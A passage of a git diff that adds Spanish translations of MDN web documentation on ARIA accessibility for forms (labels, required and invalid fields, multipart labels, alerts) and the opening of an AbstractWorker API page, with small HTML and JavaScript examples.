+</pre>
+
+<p><strong>Probar el ejemplo</strong></p>
+
+<p>Si usas Firefox 3 y un lector de pantalla compatible actualmente, intenta lo siguiente:</p>
+
+<ol>
+ <li>Ingresa solo tu primer nombre como nombre. Al pulsar la tecla de tabulación, escucharás una alerta que te indicará que ingresaste un nombre no válido. Luego puedes volver atrás con <code>Mayús-Tab</code> y corregir el error.</li>
+ <li>Ingresa una dirección de correo electrónico sin el símbolo “@”. Cuando salgas de este campo, deberías escuchar una advertencia que dice que no ingresaste una dirección de correo electrónico válida.</li>
+</ol>
+
+<p>En ambos casos, al volver a enfocar el campo en cuestión, tu lector de pantalla debería decirte que este campo no es válido. JAWS 9 admite esto, pero JAWS 8 no, por lo que es posible que esto no funcione en todas las versiones de los lectores de pantalla compatibles.</p>
+
+<h2 id="Algunas_preguntas_que_podrías_tener"><span class="mw-headline" id="A_few_questions_that_you_might_have">Algunas preguntas que podrías tener</span></h2>
+
+<dl>
+ <dt>P. ¿Por qué pusiste “<code>(obligatorio)</code>” en el texto de la etiqueta y el atributo <code>aria-required</code> en algunas de las entradas?</dt>
+ <dd>R. Si se tratara de un formulario real en vivo y el sitio estuviera siendo visitado por un navegador que aún no es compatible con ARIA, aún quisiéramos dar una indicación de que este es un campo obligatorio.</dd>
+ <dt>P. ¿Por qué no vuelve a enfocarse en el campo no válido automáticamente?</dt>
+ <dd>R. Porque esto no está permitido por las especificaciones de la API de Windows y posiblemente otras. Además, dejar que el enfoque salte sin interacción real del usuario con demasiada frecuencia no es algo agradable en general. </dd>
+</dl>
+
+<div class="warning">Aún no definido: reconsideremos esto ─ personalmente, creo que establecer el enfoque podría ser bueno si se hace sin causar una trampa en el teclado.</div>
diff --git a/files/es/web/accessibility/aria/forms/consejos_basicos_para_formularios/index.html b/files/es/web/accessibility/aria/forms/consejos_basicos_para_formularios/index.html
new file mode 100644
index 0000000000..48f2dba3e3
--- /dev/null
+++ b/files/es/web/accessibility/aria/forms/consejos_basicos_para_formularios/index.html
@@ -0,0 +1,115 @@
+---
+title: Consejos básicos para formularios
+slug: Web/Accessibility/ARIA/forms/consejos_basicos_para_formularios
+tags:
+  - ARIA
+  - Accesibilidad
+  - formulários
+translation_of: Web/Accessibility/ARIA/forms/Basic_form_hints
+---
+<p><span class="seoSummary">Cuando se implementan formularios utilizando elementos relacionados con los formularios HTML tradicionales, es importante proveer etiquetas para los controles y explicitamente asociar una etiqueta con su control.</span> Cuando un usuario de lector de pantalla navega una página, el lector de pantalla describirá los controles del formulario. Sin una asociación directa entre el control y su etiqueta, el lector de pantalla no tiene forma de saber que etiqueta es la correcta para el control.</p>
+
+<p>El ejemplo siguiente muestra un formulario sencillo con etiquetas. Note que cada elemento {{ HTMLElement("input") }} tiene un <code>id</code>, y cada elemento {{ HTMLElement("label") }} tiene un atributo <code>for</code>, indicando el <code>id</code> asociado al {{ HTMLElement("input") }}.</p>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;ul&gt;
+    &lt;li&gt;
+      &lt;input id="vino-1" type="checkbox" value="riesling"/&gt;
+      &lt;label for="vino-1"&gt;Berg Rottland Riesling&lt;/label&gt;
+    &lt;/li&gt;
+    &lt;li&gt;
+      &lt;input id="vino-2" type="checkbox" value="pinot-blanc"/&gt;
+      &lt;label for="vino-2"&gt;Pinot Blanc&lt;/label&gt;
+    &lt;/li&gt;
+    &lt;li&gt;
+      &lt;input id="vino-3" type="checkbox" value="pinot-grigio"/&gt;
+      &lt;label for="vino-3"&gt;Pinot Grigio&lt;/label&gt;
+    &lt;/li&gt;
+    &lt;li&gt;
+      &lt;input id="vino-4" type="checkbox" value="gewurztraminer"/&gt;
+      &lt;label for="vino-4"&gt;Gewürztraminer&lt;/label&gt;
+    &lt;/li&gt;
+  &lt;/ul&gt;
+&lt;/form&gt;
+</pre>
+
+<h2 id="Labeling_with_ARIA" name="Labeling_with_ARIA">Etiquetando con ARIA</h2>
+
+<p>El elemento HTML {{ HTMLElement("label") }} es apropiado para elementos relacionados a formularios, pero muchos controles de formulario son implementados como un widget dinámico de JavaScript, utilizando {{ HTMLElement("div") }}s o {{ HTMLElement("span") }}s. <a href="https://www.w3.org/WAI/standards-guidelines/aria/" title="http://www.w3.org/WAI/intro/aria.php">WAI-ARIA</a>, la especificación <strong>Accessible Rich Internet Applications</strong> de W3C's <a href="http://www.w3.org/WAI/" title="http://www.w3.org/WAI/">Web Accessibility Initiative</a>, provee el atributo <code><a href="http://www.w3.org/TR/2010/WD-wai-aria-20100916/states_and_properties#aria-labelledby" title="http://www.w3.org/TR/2010/WD-wai-aria-20100916/states_and_properties#aria-labelledby">aria-labelledby</a></code> para estos casos.</p>
+
+<p>El siguiente ejemplo muestra un grupo de radio buttons implementado usando una lista no ordenada. Note que en la línea 3, el elemento {{ HTMLElement("ul") }} define el atributo <code>aria-labelledby</code> a <code>etiqueta_rg1</code>, el <code>id</code> de elemento {{ HTMLElement("h3") }} en la línea 1, que es la etiqueta para el grupo de controles radio.</p>
+
+<pre class="brush: html">&lt;h3 id="etiqueta_rg1"&gt;Opciones para el almuerzo&lt;/h3&gt;
+
+&lt;ul class="radiogroup" id="rg1"  role="radiogroup" aria-labelledby="etiqueta_rg1"&gt;
+  &lt;li id="r1"  tabindex="-1" role="radio" aria-checked="false"&gt;
+    &lt;img role="presentation" src="radio-unchecked.gif" /&gt; Thai
+  &lt;/li&gt;
+  &lt;li id="r2"  tabindex="-1" role="radio"  aria-checked="false"&gt;
+    &lt;img role="presentation" src="radio-unchecked.gif" /&gt; Subway
+  &lt;/li&gt;
+  &lt;li id="r3"   tabindex="0" role="radio" aria-checked="true"&gt;
+    &lt;img role="presentation" src="radio-checked.gif" /&gt; Radio Maria
+  &lt;/li&gt;
+&lt;/ul&gt;
+</pre>
+
+<h2 id="Describing_with_ARIA" name="Describing_with_ARIA">Describiendo con ARIA</h2>
+
+<p>Los controles de formulario en ocasiones tienen una descripción asociada con ellos, además de la descripción de la etiqueta. ARIA provee el atributo <code><a href="http://www.w3.org/TR/2010/WD-wai-aria-20100916/states_and_properties#aria-describedby" title="http://www.w3.org/TR/2010/WD-wai-aria-20100916/states_and_properties#aria-describedby">aria-describedby</a></code>  para directamente asociar la descripción con el control.</p>
+
+<p>El ejemplo siguiente muestra un elemento {{ HTMLElement("button") }} que es descrito por una oración de un diferento elemento {{ HTMLElement("div") }}. El atributo <code>aria-describedby</code> en el {{ HTMLElement("button") }} referencia al <code>id</code> del {{ HTMLElement("div") }}.</p>
+
+<pre class="brush: html">&lt;button aria-describedby="descriptionRevert"&gt;Revertir&lt;/button&gt;
+&lt;div id="descriptionRevert"&gt;Revertir deshará cualquier cambio que se haya hecho desde la última que se guardo.&lt;/div&gt;</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: El atributo <code>aria-describedby</code> es utilizado para otros própositos además de los controles de formularios.</p>
+</div>
+
+<h2 id="Required_and_invalid_fields" name="Required_and_invalid_fields">Campos requeridos e inválidos</h2>
+
+<div class="note">
+<p><strong>Nota</strong>: Ahora que <code>required</code> esta disponible para más del 97% de usuarios globalmente, no se recomienda que se use al mismo tiempo <code>required</code> y <code>aria-required</code>.</p>
+</div>
+
+<p>Los desarrolladores Web típicamente usan estrategias de presentación para inidicar campos requeridos o inválidos. Tecnologías asistivas (Assistive technologies - ATs) no necesariamente pueden inferir de la presentación. ARIA provee atributos para indicar que controles de formulario son requeridos o inválidos:</p>
+
+<ul>
+ <li>La propiedad <a href="http://www.w3.org/TR/2010/WD-wai-aria-20100916/states_and_properties#aria-required" title="http://www.w3.org/TR/2010/WD-wai-aria-20100916/states_and_properties#aria-required"><strong>aria-required</strong></a> puede ser aplicada a un elemento de un formulario para indicar a a una AT que es requerida para completar el formulario.</li>
+ <li>El estado <a href="http://www.w3.org/TR/2010/WD-wai-aria-20100916/states_and_properties#aria-invalid" title="http://www.w3.org/TR/2010/WD-wai-aria-20100916/states_and_properties#aria-invalid"><strong>aria-invalid</strong></a> puede ser aplicado programáticamente, para indicar al AT que campos de información tienen información incorrecta para que el usuario sepa que ingresaron información inválida.</li>
+</ul>
+
+<p>El siguiente ejemplo muestra un formulario sencillo con tres campos. En las líneas 4 y 12, los atributos <code>aria-required</code> son establecidos a true (en adición a los asteriscos junto a las etiquetas), indicando que los campos de nombre y email son requeridos. La segunda parte del ejemplo, es un fragmento de código de JavaScript que valida el formato del email, y establece el atributo <code>aria-invalid</code> del campo email (línea 12 del HTML) de acuerdo al resultado (adicionalmente de cambiar la presentación del elemento).</p>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;div&gt;
+    &lt;label for="nombre"&gt;* Nombre:&lt;/label&gt;
+    &lt;input type="text" value="nombre" id="nombre" aria-required="true"/&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;label for="telefono"&gt;Phone:&lt;/label&gt;
+    &lt;input type="text" value="telefono" id="telefono" aria-required="false"/&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;label for="email"&gt;* E-mail:&lt;/label&gt;
+    &lt;input type="text" value="email" id="email" aria-required="true"/&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<p>The script that validates the form entry would look something like this:</p>
+
+<pre class="brush: js">var validar = function () {
+  var elementoEmail = document.getElementById(emailFieldId);
+  var esValido = emailValid(formData.email); // regresa verdadero si es válido, de otro modo devuelve falso.
+
+  elementoEmail.setAttribute("aria-invalid", !esValido);
+  setElementBorderColour(elementoEmail, esValido); // establece el borde de color rojo si el segundo argumento es falso
+};
+</pre>
+
+<h2 id="Providing_Helpful_Error_Messages" name="Providing_Helpful_Error_Messages">Ofreciendo Mensajes de Error Útiles</h2>
+
+<p>Lea como usar <a href="/en-US/docs/aria/forms/alerts" title="aria/forms/alerts">alertas ARIA para mejorar formularios</a>.</p>
+
+<p>Para mayor orientación en el uso de ARIA para la accesibilidad de los formularios, vea el documento <a href="http://www.w3.org/TR/wai-aria-practices/" title="http://www.w3.org/TR/wai-aria-practices/">Prácticas de Autoria WAI-ARIA (WAI-ARIA Authoring Practices</a>).</p>
diff --git a/files/es/web/accessibility/aria/forms/etiquetas_complejas/index.html b/files/es/web/accessibility/aria/forms/etiquetas_complejas/index.html
new file mode 100644
index 0000000000..4bc8cafa67
--- /dev/null
+++ b/files/es/web/accessibility/aria/forms/etiquetas_complejas/index.html
@@ -0,0 +1,47 @@
+---
+title: >-
+  Etiquetas complejas: Utilizando ARIA para etiquetas con campos embebidos
+  dentro de ellos
+slug: Web/Accessibility/ARIA/forms/Etiquetas_complejas
+tags:
+  - ARIA
+  - Accesibilidad
+  - Firefox
+  - Guía
+  - HTML
+  - NeedsContent
+  - aria-labelledby
+  - etiqueta
+  - label
+translation_of: Web/Accessibility/ARIA/forms/Multipart_labels
+---
+<div>
+<h2 id="Problema"><span class="mw-headline" id="Problem">Problema</span></h2>
+
+<p>Tiene un formulario donde le pregunta a su usuario una pregunta, pero la respuesta es mencionada en la misma pregunta. Un ejemplo clásico que todos conocemos de las configuraciones de nuestro navegador es la opción "Eliminar el historial despues de x días". "Eliminar  el historial despues" está a la izquierda de la caja de texto, x es el número, por ejemplo 21, y la palabra "días" sigue a la caja de texto, formando una oración que es fácil de comprender.</p>
+
+<p>Si se esta usando un lector de pantalla, quizá ha notado que, cuando se van a las configuraciónes de Firefox, el lector dice: ¿"Eliminar el historial después de 21 días"?, seguidamente anuncia que está en una caja de texto y que contiene el número 21. ¿No es super? No necesita navegar alrededor para darse cuenta de la unidad. "Días" podría ser fácilmente "meses" o "años", y en muchos dialogos ordinarios no hay forma de descubrirlo más que navegando utilizando los comandos de revisión del lector de pantalla.</p>
+
+<p><span class="seoSummary">La solución esta en un atributo ARIA llamado <strong>aria-labelledby</strong>. Su parámetro es una cadena de texto que consiste de los IDs de los elementos HTML que se deseen concatenar dentro de un solo nombre accesible.</span></p>
+
+<p>Tanto <strong>aria-labelledby</strong> y <strong>aria-describedby</strong> se especifican en el elemento de formulario   que debe etiquetarse, por ejemplo un &lt;input&gt;. En ambos casos, la etiqueta for/label para ligar a los controles que puedan existir son anuladas por <strong>aria-labelledby</strong>. Si en una página se provee <strong>aria-labelledby</strong>, se debería colocar también una etiqueta para también soportar navegadores antiguos que no tengan aún soperte ARIA. Con Firefox 3, los usuarios ciegos tendrán automáticamente mejor accesibilidad con el nuevo atributo, pero los usuarios de navadores antiguos de esta forma no son dejados en la oscuridad.</p>
+
+<p>Ejemplo:</p>
+<input> <span id="labelShutdown">apagar computadora después de </span> <input> <span id="shutdownUnit"> minutos</span>
+
+<pre class="brush: html">&lt;input aria-labelledby="etiquetaApagado tiempoApagado unidadApagado" type="checkbox" /&gt;
+&lt;span id="etiquetaApagado"&gt;Apagar computadora después de &lt;/span&gt;
+&lt;input aria-labelledby="etiquetaApagado tiempoApagado unidadApagado" id="tiempoApagado" type="text" value="10" /&gt;
+&lt;span id="unidadApagado"&gt; minutos&lt;/span&gt;
+</pre>
+
+<h2 id="Nota_para_usuarios_de_JAWS_8"><span class="mw-headline" id="A_Note_for_JAWS_8_users">Nota para usuarios de JAWS 8</span></h2>
+
+<p>JAWS 8.0 tiene su propia lógica para encontrar etiquetas, causando que siempre sobreescriba el nombre accesible que obtiene la caja de texto de un documento HTML. Con JAWS 8, no se ha encontrado una manera de hacer que acepte la etiqueta del ejemplo anterior. Pero NVDA y  Window-Eyes funcionan correctamente, Orca on Linux tampoco tiene problemas.</p>
+
+<div class="note">TBD (pendiente): añadir más información sobre compatiblidad</div>
+
+<h2 id="¿Puede_hacerse_sin_ARIA"><span class="mw-headline" id="Can_this_be_done_without_ARIA.3F">¿Puede hacerse sin ARIA?</span></h2>
+
+<p> Community member Ben Millard has pointed out in a blog post that <a class="external text" href="http://projectcerbera.com/blog/2008/03#day24" rel="nofollow">controls can be embedded in labels as shown in the above example using HTML 4</a>, simply by embedding the input into the label. Thanks for that info, Ben! It is very useful and shows that some techniques that have been available for years escape even the gurus sometimes. This technique works in Firefox; however, it doesn't currently work in many other browsers, including IE. For labels with embedded form controls, using <strong>aria-labelledby</strong> is still the best approach.</p>
+</div>
diff --git a/files/es/web/accessibility/aria/forms/index.html b/files/es/web/accessibility/aria/forms/index.html
new file mode 100644
index 0000000000..fc1f08cb9d
--- /dev/null
+++ b/files/es/web/accessibility/aria/forms/index.html
@@ -0,0 +1,17 @@
+---
+title: Formularios
+slug: Web/Accessibility/ARIA/forms
+tags:
+  - ARIA
+  - Accesibilidad
+translation_of: Web/Accessibility/ARIA/forms
+---
+<p>Las siguientes páginas proporcionan diversas técnicas para mejorar la accesibilidad de los formularios web:</p>
+
+<ul>
+ <li><a href="/es/Accessibility/ARIA/Basic_form_hints" title="Consejos básicos para formularios">Consejos básicos para formularios</a>: Añadir consejos y descripciones para campos erróneos u obligatorios</li>
+ <li><a href="/es/Accessibility/ARIA/forms/alerts" title="alertas">Alertas</a>: uso de alertas para proporcionar mensajes de error de validación del lado del cliente</li>
+ <li><a href="/es/Accessibility/ARIA/forms/Multipart_labels" title="https://developer.mozilla.org/es/aria/forms/Multipart_labels">Etiquetas complejas</a>: Habilitación de etiquetas complejas con elementos en su interior</li>
+</ul>
+
+<p>Consulta también <a class="external" href="https://web.archive.org/web/20120801225355/http://yaccessibilityblog.com/library/aria-invalid-form-inputs.html" title="http://yaccessibilityblog.com/library/aria-invalid-form-inputs.html">el artículo de Yahoo! sobre validación de formularios y ARIA</a> (recuperado desde archive.org), que abarca gran parte del mismo contenido.</p>
diff --git a/files/es/web/accessibility/aria/index.html b/files/es/web/accessibility/aria/index.html
new file mode 100644
index 0000000000..bc0a720962
--- /dev/null
+++ b/files/es/web/accessibility/aria/index.html
@@ -0,0 +1,142 @@
+---
+title: ARIA
+slug: Web/Accessibility/ARIA
+tags:
+  - ARIA
+  - Accessibility
+  - NeedsTranslation
+  - TopicStub
+translation_of: Web/Accessibility/ARIA
+---
+<p>Accessible Rich Internet Applications <strong>(ARIA)</strong> define cómo realizar contenido Web y aplicaciones Web (especialmente las desarrolladas con Ajax y JavaScript) más accesibles a personas con discapacidades. Por ejemplo, ARIA posibilita puntos de navegación accesibles, widgets JavaScript, sugerencias en formularios y mensajes de error, actualizaciones en directo, y más.</p>
+
+<p>ARIA es un conjunto de atributos especiales para accesibilidad que pueden añadirse a cualquier etiqueta, pero especialmente adaptado a  HTML. El atributo <code>role</code> define el tipo general del objeto (como un artículo, una alerta o un deslizador). Atributos adicionales de ARIA proporcionan otras propiedades útiles, como una descripción para un formulario o el valor actual de una barra de progreso.</p>
+
+<p>ARIA está implementado en la mayoría de los navegadores y lectores de pantalla más populares. De todas formas, las implementaciones varían y las tecnologías antiguas no lo soportan bien (si es que lo soportan). Use "safe" en ARIA, que reduce elegantemente la funcionalidad en caso necesario o pida a los usuarios actualizarse a una tecnología más actual.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Por favor, ¡contribuya y mejore ARIA para el siguiente que llegue! ¿No tiene tiempo suficiente? Envíe sus sugerencias a la <a href="https://lists.mozilla.org/listinfo/accessibility">lista de distribución de accesibilidad</a> de Mozilla o al <a href="https://wiki.mozilla.org/IRC">canal IRC </a>#accessibility.</p>
+</div>
+
+<table class="topicpage-table">
+ <tbody>
+  <tr>
+   <td>
+    <h3 id="Documentation" name="Documentation">Primeros pasos con ARIA</h3>
+
+    <dl>
+     <dt><a href="https://developer.mozilla.org/en-US/docs/Accessibility/An_overview_of_accessible_web_applications_and_widgets">Introducción a ARIA </a></dt>
+     <dd>Una Rápida introducción a la creación de contenido dinámico accesible con ARIA. También revisa el clásico <a class="external" href="http://dev.opera.com/articles/view/introduction-to-wai-aria/" title="http://dev.opera.com/articles/view/introduction-to-wai-aria/">ARIA intro by Gez Lemon</a>, de 2008.</dd>
+     <dt><a href="/en-US/docs/Accessibility/ARIA/Web_applications_and_ARIA_FAQ" title="https://developer.mozilla.org/en-US/docs/Accessibility/Web_applications_and_ARIA_FAQ">Preguntas frecuentes sobre Aplicaciones Web y ARIA</a></dt>
+     <dd>Responde preguntas comunes acerca de WAI-ARIA y por qué es necesario para hacer aplicaciones web accesibles.</dd>
+     <dt><a class="external" href="http://zomigi.com/blog/videos-of-screen-readers-using-aria-updated/" title="http://zomigi.com/blog/videos-of-screen-readers-using-aria-updated/">Videos de Lectores de Pantalla usando ARIA</a></dt>
+     <dd>Mira ejemplos reales y simplificados de toda la web, incluyendo videos "antes" y "despues" de ARIA.</dd>
+     <dt><a class="external" href="http://w3c.github.io/aria-in-html/">Usando ARIA en HTML</a></dt>
+     <dd>Una guía practica para desarrolladores. Sugiere que atributos ARIA usar en elementos HTML. Las sugerencias están basadas en implementaciones reales.</dd>
+    </dl>
+
+    <h3 id="Mejoras_sencillas_de_ARIA">Mejoras sencillas de ARIA</h3>
+
+    <dl>
+     <dt><a class="external" href="http://www.paciellogroup.com/blog/2010/10/using-wai-aria-landmark-roles/" rel="external" title="http://www.paciellogroup.com/blog/2010/10/using-wai-aria-landmark-roles/">Mejorando la navegación de página con ARIA Landmarks</a></dt>
+     <dd>Una buena escusa para introducirte al uso del marcado ARIA es la mejora de la navegación web para los usuarios de lectores de patalla. Ver también<a class="external" href="http://www.paciellogroup.com/blog/2011/07/html5-accessibility-chops-aria-landmark-support/" rel="external" title="http://www.paciellogroup.com/blog/2011/07/html5-accessibility-chops-aria-landmark-support/">, ARIA landmark notas de implementación</a> y ejemplos en sitios reales (actualizado en Julio 11).</dd>
+     <dt><a href="/en-US/docs/ARIA/forms" rel="internal" title="/en-US/docs/ARIA/forms">Mejorando accesibilidad de formularios</a></dt>
+     <dd>ARIA no es sólo para contenido dinámico! Aprende como mejorar la accesibilidad de formularios HTML usando atributos adicionales de ARIA. </dd>
+     <dt><a href="/en-US/docs/Accessibility/ARIA/ARIA_Live_Regions" title="Live Regions">Live regions (work-in-progress)</a></dt>
+     <dd>Live regions provide suggestions to screen readers about how to handle changes to the contents of a page.</dd>
+     <dt><a class="external" href="http://www.freedomscientific.com/Training/Surfs-up/AriaLiveRegions.htm" rel="external" title="http://www.freedomscientific.com/Training/Surfs-up/AriaLiveRegions.htm">Using ARIA Live Regions to Announce Content Changes</a></dt>
+     <dd>A quick summary of live regions, by the makers of JAWS screen reader software. Note that live regions are also supported by NVDA in Firefox, and VoiceOver with Safari (as of OS X Lion and iOS 5).</dd>
+    </dl>
+
+    <h3 id="ARIA_for_Scripted_Widgets">ARIA for Scripted Widgets</h3>
+
+    <dl>
+     <dt><a class="external" href="/en-US/docs/Accessibility/Keyboard-navigable_JavaScript_widgets" title="en-US/docs/Accessibility/Keyboard-navigable_JavaScript_widgets">Keyboard Navigation and Focus for JavaScript Widgets</a></dt>
+     <dd>The first step in developing an accessible JavaScript widget is to make it keyboard navigable. This article steps through the process. The <a class="external" href="http://www.yuiblog.com/blog/2009/02/23/managing-focus/" title="http://www.yuiblog.com/blog/2009/02/23/managing-focus/">Yahoo! focus management article</a> is a great resource as well.</dd>
+     <dt><a class="external" href="http://access.aol.com/dhtml-style-guide-working-group/" title="http://dev.aol.com/dhtml_style_guide">Style Guide for Keyboard Navigation</a></dt>
+     <dd>A challenge with ARIA is getting developers to implement consistent behavior -- clearly best for users. This style guide describes the keyboard interface for common widgets.</dd>
+    </dl>
+
+    <h3 id="ARIA_Resources">ARIA Resources</h3>
+
+    <dl>
+     <dt><a href="/en-US/docs/Accessibility/ARIA/widgets/overview" title="en-US/docs/aria/widgets/overview">Widget Techniques, Tutorials, and Examples</a></dt>
+     <dd>Need a slider, a menu, or another kind of widget? Find resources here.</dd>
+     <dt><a class="external" href="http://www.paciellogroup.com/blog/2009/07/wai-aria-implementation-in-javascript-ui-libraries/" title="http://www.paciellogroup.com/blog/2009/07/wai-aria-implementation-in-javascript-ui-libraries/">Librerías de UI JavaScript con soporte</a> <a class="external" href="http://www.paciellogroup.com/blog/2009/07/wai-aria-implementation-in-javascript-ui-libraries/" title="http://www.paciellogroup.com/blog/2009/07/wai-aria-implementation-in-javascript-ui-libraries/">ARIA</a></dt>
+     <dd>Si necesita comenzar un nuevo proyecto, elija una librería de controles UI que incluya soporte ARIA. Advertencia: esto es del 2009 -- el contenido debe moverse a una página MDN donde pueda actualizarse.</dd>
+     <dt><a class="external" href="http://dl.dropbox.com/u/573324/CSUN2012/index.html" title="http://dl.dropbox.com/u/573324/CSUN2012/index.html">Accessibility of HTML5 and Rich Internet Applications - CSUN 2012 Workshop Materials</a></dt>
+     <dd>Incluye diapositivas y ejemplos.</dd>
+    </dl>
+   </td>
+   <td>
+    <h3 id="Community" name="Community">Lista de correo</h3>
+
+    <dl>
+     <dt><a class="link-https" href="https://groups.google.com/forum/#!forum/free-aria" title="https://groups.google.com/forum/#!forum/free-aria">Free ARIA Google Group</a></dt>
+     <dd>A place to ask questions about ARIA, as well as make suggestions for improving the ARIA documentation found on these pages.</dd>
+    </dl>
+
+    <h3 id="Community" name="Community">Blogs</h3>
+
+    <p>ARIA information on blogs tends to get out of date quickly. Still, there is some great info out there from other developers making ARIA work today.</p>
+
+    <p><a class="external" href="http://www.paciellogroup.com/blog/category/wai-aria/" title="http://www.paciellogroup.com/blog/category/wai-aria/">Paciello Group</a></p>
+
+    <p><a class="external" href="http://www.accessibleculture.org/tag/wai-aria/" title="http://www.accessibleculture.org/tag/wai-aria/">Accessible Culture</a></p>
+
+    <h3 id="Filing_Bugs">Filing Bugs</h3>
+
+    <p><a href="/en/Accessibility/ARIA/How_to_file_ARIA-related_bugs" title="https://developer.mozilla.org/en/ARIA/How_to_file_ARIA-related_bugs">File ARIA bugs on browsers, screen readers, and JavaScript libraries</a>.</p>
+
+    <h3 id="Ejemplos">Ejemplos</h3>
+
+    <dl>
+     <dt><a class="external" href="/en-US/docs/Accessibility/ARIA/ARIA_Test_Cases" title="en-US/docs/ARIA/examples">ARIA Examples Library</a></dt>
+     <dd>A set of barebones example files which are easy to learn from.</dd>
+     <dt><span class="external">Accessible JS Widget Library Demos</span></dt>
+     <dd><a class="external" href="http://dojotoolkit.org/widgets" title="http://dojotoolkit.org/widgets">Dojo</a>, <a class="external" href="http://hanshillen.github.com/jqtest/" title="http://hanshillen.github.com/jqtest/">jQuery</a>, <a class="external" href="http://wiki.fluidproject.org/display/fluid/Components" title="http://wiki.fluidproject.org/display/fluid/Components">Fluid</a>, <a class="external" href="http://yuilibrary.com/gallery/" title="http://yuilibrary.com/gallery/">YUI</a></dd>
+    </dl>
+
+    <dl>
+     <dt><a class="external" href="http://mail.yahoo.com" title="http://mail.yahoo.com">Yahoo! Mail</a></dt>
+     <dd>Yahoo! puts it all together with Yahoo! Mail, a web app that almost looks like a native app. It works very well. As a <a class="external" href="http://www.marcozehe.de/2011/09/21/review-the-all-new-yahoo-mail-web-application/" title="http://www.marcozehe.de/2011/09/21/review-the-all-new-yahoo-mail-web-application/">review of Yahoo! Mail</a> by screen reader Marco Zehe says, "Keep up the good work!".</dd>
+    </dl>
+
+    <dl>
+     <dt><a class="external" href="http://search.yahoo.com" title="http://search.yahoo.com">Yahoo! Search</a></dt>
+     <dd>Yahoo! has done an amazing job of advancing ARIA here, by exercising ARIA's full capabilities and <a class="external" href="http://ycorpblog.com/2011/03/23/searchdirect/" title="http://ycorpblog.com/2011/03/23/searchdirect/">sharing their techniques</a>. Yahoo! Search uses a combination of ARIA landmarks, live regions, and widgets.</dd>
+    </dl>
+
+    <h3 id="Standardization_Efforts">Standardization Efforts</h3>
+
+    <dl>
+     <dt><a class="external" href="http://www.w3.org/WAI/intro/aria.php" title="http://www.w3.org/WAI/intro/aria.php">WAI-ARIA Activities Overview at W3C</a></dt>
+     <dd>Authoritative Overview of WAI-ARIA Standardization efforts by the Web Accessibility Initiative (WAI)</dd>
+     <dt><a class="external" href="http://www.w3.org/TR/wai-aria/" title="http://www.w3.org/TR/wai-aria/">WAI-ARIA Specification</a></dt>
+     <dd>The W3C specification itself, useful as a reference. Note that, at this stage, it is important to test compatibility, as implementations are still inconsistent.</dd>
+     <dt><a class="external" href="http://www.w3.org/WAI/PF/aria-practices/" title="http://www.w3.org/WAI/PF/aria-practices/">WAI-ARIA Authoring Practices</a></dt>
+     <dd>Like the W3C WAI-ARIA specification, the official best practices represents a future ideal -- a day when authors can rely on consistent ARIA support across browsers and screen readers. The W3C documents provide an in-depth view of ARIA.<br>
+     <br>
+     For now, web developers implementing ARIA should maximize compatibility. Use best practices docs and examples based on current implementations.</dd>
+     <dt><a class="external" href="http://www.openajax.org/member/wiki/Accessibility" title="http://www.openajax.org/member/wiki/Accessibility">Open AJAX Accessibility Task Force</a></dt>
+     <dd>The Open AJAX effort centers around developing tools, sample files, and automated tests for ARIA.</dd>
+     <dt><a href="/en-US/docs/Accessibility/ARIA/ARIA_Techniques" title="ARIA Techniques">Under Construction: WCAG 2.0 ARIA Techniques</a></dt>
+     <dd>The community needs a complete set of WCAG techniques for WAI-ARIA + HTML, so that organizations can be comfortable claiming their ARIA-enabled content is WCAG compliant. This is mostly important when regulations or policies are based on WCAG.</dd>
+    </dl>
+   </td>
+  </tr>
+ </tbody>
+ <tbody>
+  <tr>
+   <td colspan="2">
+    <h3 id="Related_Topics" name="Related_Topics">Related Topics</h3>
+
+    <dl>
+     <dd><a href="/en-US/docs/Accessibility" title="en-US/docs/Accessibility">Accessibility</a>, <a href="/en-US/docs/AJAX" title="en-US/docs/AJAX">AJAX</a>, <a href="/en-US/docs/JavaScript" title="en-US/docs/JavaScript">JavaScript</a></dd>
+    </dl>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p> </p>
diff --git a/files/es/web/api/abstractworker/index.html b/files/es/web/api/abstractworker/index.html
new file mode 100644
index 0000000000..f3f50ecf38
--- /dev/null
+++ b/files/es/web/api/abstractworker/index.html
@@ -0,0 +1,130 @@
+---
+title: AbstractWorker
+slug: Web/API/AbstractWorker
+translation_of: Web/API/AbstractWorker
+---
+<p>{{ APIRef("Web Workers API") }}</p>
+
+<p>La interfaz <strong><code>AbstractWorker</code></strong> de la <a href="/en-US/docs/Web/API/Web_Workers_API">API de Web Workers</a> es una interfaz abstracta que define propiedades métodos comunes a toda clase de workers, no sólo al {{domxref("Worker")}} básico sino también el {{domxref("ServiceWorker")}} y el {{domxref("SharedWorker")}}.<br>
+ Al ser una clase abstracta, usted no interactúa directamente con el <code>AbstractWorker</code>.</p>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<p><em>La interfaz <code>AbstractWorker</code></em><em> no hereda ninguna propiedad.</em></p>
+
+<h3 id="Gestor_de_eventos">Gestor de eventos</h3>
+
+<dl>
+ <dt>{{domxref("AbstractWorker.onerror")}}</dt>
+ <dd>Es un {{ domxref("EventListener") }} el cual es invocado siempre que un {{domxref("ErrorEvent")}} de tipo <code>error</code> se gatilla através del worker.</dd>
+</dl>
+
+<h2 id="Métodos">Métodos</h2>
+
+<p><em>La interfaz <code>AbstractWorker</code></em><em> no implementa o hereda ningún método.</em></p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>Note que usted no estará usando la interfaz <code>AbstractWorker</code> diractamente en su código — cuando es invocada, {{domxref("Worker")}} y {{domxref("SharedWorker")}} heredan sus propiedades.</p>
+
+<p>El siguiente fragmento de código muestra la creación de un objeto {{domxref("Worker")}} usando el constructor {{domxref("Worker.Worker", "Worker()")}} , junto con la forma de uso del objeto creado:</p>
+
+<pre class="brush: js">var myWorker = new Worker("worker.js");
+
+first.onchange = function() {
+  myWorker.postMessage([first.value,second.value]);
+  console.log('Mensaje enviado al worker');
+}</pre>
+
